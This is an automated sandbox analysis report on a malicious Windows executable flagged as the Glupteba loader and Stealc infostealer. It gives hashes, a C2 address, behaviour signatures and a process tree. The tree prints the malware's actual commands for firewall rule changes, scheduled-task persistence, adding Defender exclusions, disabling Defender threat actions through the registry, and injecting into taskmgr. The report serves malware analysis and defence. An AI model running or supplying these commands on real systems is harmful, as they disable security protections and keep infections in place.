Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-04-2024 14:04

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    d007291fcf888c4009a7a389deb36534955ae7ffb668896b02a5532f7b3122c4.exe

  • Size

    552KB

  • MD5

    0f5235116df283e424268f99bb1806fd

  • SHA1

    a79cd569110deffbfbda863b78de3e8f999d5a57

  • SHA256

    d007291fcf888c4009a7a389deb36534955ae7ffb668896b02a5532f7b3122c4

  • SHA512

    f956b363540595d70ec7a8e49e0baeb4980f4432ad286abe0ee19d7bf171f9f448d347c717e4697f3408a9fc7c9ed46eba56f5d9964396abfdfe58b129c7cc96

  • SSDEEP

    12288:JKuTqUpDsCidKbHs/IJZDsK18ENeUsBV+ai4:JK89p4Ci+HsQD4K1W+n4

Score
10/10
gluptebastealcdiscoverydropperevasionloaderpersistencerootkitspywarestealertrojanupx

Malware Config

Extracted

Family

stealc

C2

http://185.172.128.209

Attributes
  • url_path

    /3cd2b41cbde8fc9c.php

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 18 IoCs
  • Modifies firewall policy service 2 TTPs 1 IoCs
    evasion
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 7 IoCs
  • Executes dropped EXE 24 IoCs
  • Loads dropped DLL 10 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Adds Run key to start application 2 TTPs 3 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 4 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Drops file in System32 directory 42 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 10 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 12 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\d007291fcf888c4009a7a389deb36534955ae7ffb668896b02a5532f7b3122c4.exe
    "C:\Users\Admin\AppData\Local\Temp\d007291fcf888c4009a7a389deb36534955ae7ffb668896b02a5532f7b3122c4.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2156
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
      2⤵
      • Drops startup file
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2468
      • C:\Users\Admin\Pictures\v1GloRmtlH7A4ZF27q5awSsA.exe
        "C:\Users\Admin\Pictures\v1GloRmtlH7A4ZF27q5awSsA.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:768
        • C:\Users\Admin\AppData\Local\Temp\ulc.0.exe
          "C:\Users\Admin\AppData\Local\Temp\ulc.0.exe"
          4⤵
          • Executes dropped EXE
          PID:1572
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 1572 -s 1020
            5⤵
            • Program crash
            PID:4368
        • C:\Users\Admin\AppData\Local\Temp\ulc.3.exe
          "C:\Users\Admin\AppData\Local\Temp\ulc.3.exe"
          4⤵
          • Blocklisted process makes network request
          • Checks computer location settings
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:3204
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4944
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 768 -s 1552
          4⤵
          • Program crash
          PID:3984
      • C:\Users\Admin\Pictures\i5WHEvos3BIMKMpqbk2wODrZ.exe
        "C:\Users\Admin\Pictures\i5WHEvos3BIMKMpqbk2wODrZ.exe"
        3⤵
        • Modifies firewall policy service
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • Drops file in System32 directory
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        PID:4592
      • C:\Users\Admin\Pictures\LdUE2a32dE3B01kT9zDrukhG.exe
        "C:\Users\Admin\Pictures\LdUE2a32dE3B01kT9zDrukhG.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1756
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -nologo -noprofile
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3936
        • C:\Users\Admin\Pictures\LdUE2a32dE3B01kT9zDrukhG.exe
          "C:\Users\Admin\Pictures\LdUE2a32dE3B01kT9zDrukhG.exe"
          4⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Checks for VirtualBox DLLs, possible anti-VM trick
          • Drops file in Windows directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4364
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            5⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:748
          • C:\Windows\system32\cmd.exe
            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2672
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
              6⤵
              • Modifies Windows Firewall
              PID:2500
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            5⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3376
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            5⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4980
            • C:\Windows\System32\Conhost.exe
              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              6⤵
                PID:2672
        • C:\Users\Admin\Pictures\NQoLPvoFTUXvp6rQ79vpjiOS.exe
          "C:\Users\Admin\Pictures\NQoLPvoFTUXvp6rQ79vpjiOS.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2164
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -nologo -noprofile
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4936
          • C:\Users\Admin\Pictures\NQoLPvoFTUXvp6rQ79vpjiOS.exe
            "C:\Users\Admin\Pictures\NQoLPvoFTUXvp6rQ79vpjiOS.exe"
            4⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Checks for VirtualBox DLLs, possible anti-VM trick
            • Drops file in Windows directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4804
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              powershell -nologo -noprofile
              5⤵
              • Drops file in System32 directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2108
              • C:\Windows\System32\Conhost.exe
                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                6⤵
                  PID:3936
              • C:\Windows\system32\cmd.exe
                C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2484
                • C:\Windows\system32\netsh.exe
                  netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                  6⤵
                  • Modifies Windows Firewall
                  PID:4428
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -nologo -noprofile
                5⤵
                • Drops file in System32 directory
                • Modifies data under HKEY_USERS
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3596
                • C:\Windows\System32\Conhost.exe
                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  6⤵
                    PID:1572
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -nologo -noprofile
                  5⤵
                  • Drops file in System32 directory
                  • Modifies data under HKEY_USERS
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:216
                • C:\Windows\rss\csrss.exe
                  C:\Windows\rss\csrss.exe
                  5⤵
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Manipulates WinMonFS driver.
                  • Drops file in Windows directory
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2604
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    powershell -nologo -noprofile
                    6⤵
                    • Drops file in System32 directory
                    • Modifies data under HKEY_USERS
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2560
                  • C:\Windows\SYSTEM32\schtasks.exe
                    schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                    6⤵
                    • Creates scheduled task(s)
                    PID:1456
                  • C:\Windows\SYSTEM32\schtasks.exe
                    schtasks /delete /tn ScheduledUpdate /f
                    6⤵
                      PID:1484
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      6⤵
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3596
                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                      powershell -nologo -noprofile
                      6⤵
                      • Drops file in System32 directory
                      • Modifies data under HKEY_USERS
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:3284
                    • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                      6⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1284
                    • C:\Windows\SYSTEM32\schtasks.exe
                      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                      6⤵
                      • Creates scheduled task(s)
                      PID:4780
                    • C:\Windows\windefender.exe
                      "C:\Windows\windefender.exe"
                      6⤵
                      • Executes dropped EXE
                      PID:2560
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                        7⤵
                          PID:3204
                          • C:\Windows\SysWOW64\sc.exe
                            sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                            8⤵
                            • Launches sc.exe
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4744
                • C:\Users\Admin\Pictures\pkFqx95ygiXcp9uKNIAU6KGe.exe
                  "C:\Users\Admin\Pictures\pkFqx95ygiXcp9uKNIAU6KGe.exe" --silent --allusers=0
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Enumerates connected drives
                  • Modifies system certificate store
                  • Suspicious use of WriteProcessMemory
                  PID:3208
                  • C:\Users\Admin\Pictures\pkFqx95ygiXcp9uKNIAU6KGe.exe
                    C:\Users\Admin\Pictures\pkFqx95ygiXcp9uKNIAU6KGe.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x298,0x29c,0x2a0,0x274,0x2a4,0x6e68e1d0,0x6e68e1dc,0x6e68e1e8
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:3748
                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\pkFqx95ygiXcp9uKNIAU6KGe.exe
                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\pkFqx95ygiXcp9uKNIAU6KGe.exe" --version
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:4504
                  • C:\Users\Admin\Pictures\pkFqx95ygiXcp9uKNIAU6KGe.exe
                    "C:\Users\Admin\Pictures\pkFqx95ygiXcp9uKNIAU6KGe.exe" --backend --install --import-browser-data=0 --enable-stats=1 --enable-installer-stats=1 --consent-given=0 --general-interests=0 --general-location=0 --personalized-content=0 --personalized-ads=0 --launchopera=1 --installfolder="C:\Users\Admin\AppData\Local\Programs\Opera" --profile-folder --language=en --singleprofile=0 --copyonly=0 --allusers=0 --setdefaultbrowser=1 --pintotaskbar=1 --pintostartmenu=1 --run-at-startup=1 --show-intro-overlay --server-tracking-data=server_tracking_data --initial-pid=3208 --package-dir-prefix="C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_20240419140451" --session-guid=8aaab569-435b-484d-b795-e57cfab4635d --server-tracking-blob="MDA2MDQ4NDdiNTgyZWQ3ZDNiNDY4Y2RjZWQ0YmViOGQ3YTMwYjMwYzZiMDI4NWY4ODYxYThhZGEzNTJiYzgzZDp7ImNvdW50cnkiOiJHQiIsImluc3RhbGxlcl9uYW1lIjoiT3BlcmFTZXR1cC5leGUiLCJwcm9kdWN0Ijp7Im5hbWUiOiJvcGVyYSJ9LCJxdWVyeSI6Ii9vcGVyYS9zdGFibGUvd2luZG93cy8/dXRtX21lZGl1bT1hcGImdXRtX3NvdXJjZT1ta3QmdXRtX2NhbXBhaWduPTc2N19fNDU2Iiwic3lzdGVtIjp7InBsYXRmb3JtIjp7ImFyY2giOiJ4ODZfNjQiLCJvcHN5cyI6IldpbmRvd3MiLCJvcHN5cy12ZXJzaW9uIjoiMTAiLCJwYWNrYWdlIjoiRVhFIn19LCJ0aW1lc3RhbXAiOiIxNzEzNTM1NDgwLjY1MjciLCJ1dG0iOnsiY2FtcGFpZ24iOiI3NjdfXzQ1NiIsIm1lZGl1bSI6ImFwYiIsInNvdXJjZSI6Im1rdCJ9LCJ1dWlkIjoiY2VjMGJlZDYtMDhhNi00MWU4LWI0OGQtOTMxZDZkOGU3NDExIn0= " --silent --desktopshortcut=1 --wait-for-package --initial-proc-handle=3C05000000000000
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • Enumerates connected drives
                    • Suspicious use of WriteProcessMemory
                    PID:1164
                    • C:\Users\Admin\Pictures\pkFqx95ygiXcp9uKNIAU6KGe.exe
                      C:\Users\Admin\Pictures\pkFqx95ygiXcp9uKNIAU6KGe.exe --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x2a4,0x2a8,0x2ac,0x274,0x2b0,0x6da0e1d0,0x6da0e1dc,0x6da0e1e8
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:1996
                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404511\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe
                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404511\assistant\Assistant_109.0.5097.45_Setup.exe_sfx.exe"
                    4⤵
                    • Executes dropped EXE
                    PID:4756
                  • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404511\assistant\assistant_installer.exe
                    "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404511\assistant\assistant_installer.exe" --version
                    4⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:4408
                    • C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404511\assistant\assistant_installer.exe
                      "C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404191404511\assistant\assistant_installer.exe" --type=crashpad-handler /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports" "--crash-count-file=C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\crash_count.txt" --url=https://crashstats-collector.opera.com/collector/submit --annotation=channel=Stable --annotation=plat=Win32 --annotation=prod=OperaDesktop --annotation=ver=109.0.5097.45 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x426038,0x426044,0x426050
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:3068
                • C:\Users\Admin\Pictures\R84XgkwYCGHfoB3THGDD5mNW.exe
                  "C:\Users\Admin\Pictures\R84XgkwYCGHfoB3THGDD5mNW.exe"
                  3⤵
                  • Executes dropped EXE
                  PID:2704
                  • C:\Users\Admin\AppData\Local\Temp\7zS7625.tmp\Install.exe
                    .\Install.exe /nxdidQZJ "385118" /S
                    4⤵
                    • Checks BIOS information in registry
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Enumerates system info in registry
                    PID:4860
                    • C:\Windows\SysWOW64\forfiles.exe
                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                      5⤵
                        PID:4336
                        • C:\Windows\SysWOW64\cmd.exe
                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                          6⤵
                            PID:3084
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                              7⤵
                              • Suspicious behavior: EnumeratesProcesses
                              • Suspicious use of AdjustPrivilegeToken
                              PID:4296
                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                8⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:3512
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks /CREATE /TN "bWycNackLSywaqkmgR" /SC once /ST 14:06:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\dfpTsVC.exe\" em /TIsite_iduEE 385118 /S" /V1 /F
                          5⤵
                          • Drops file in Windows directory
                          • Creates scheduled task(s)
                          PID:1208
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
                    2⤵
                      PID:220
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                    1⤵
                      PID:2280
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                      1⤵
                        PID:1912
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1572 -ip 1572
                        1⤵
                          PID:1380
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 768 -ip 768
                          1⤵
                            PID:4604
                          • C:\Windows\windefender.exe
                            C:\Windows\windefender.exe
                            1⤵
                            • Executes dropped EXE
                            • Modifies data under HKEY_USERS
                            PID:3512
                          • C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\dfpTsVC.exe
                            C:\Users\Admin\AppData\Local\Temp\JMPZeWvHhArmqROvY\NwfPJCCpQqPYDzK\dfpTsVC.exe em /TIsite_iduEE 385118 /S
                            1⤵
                            • Executes dropped EXE
                            • Drops file in System32 directory
                            PID:5440
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                              2⤵
                              • Drops file in System32 directory
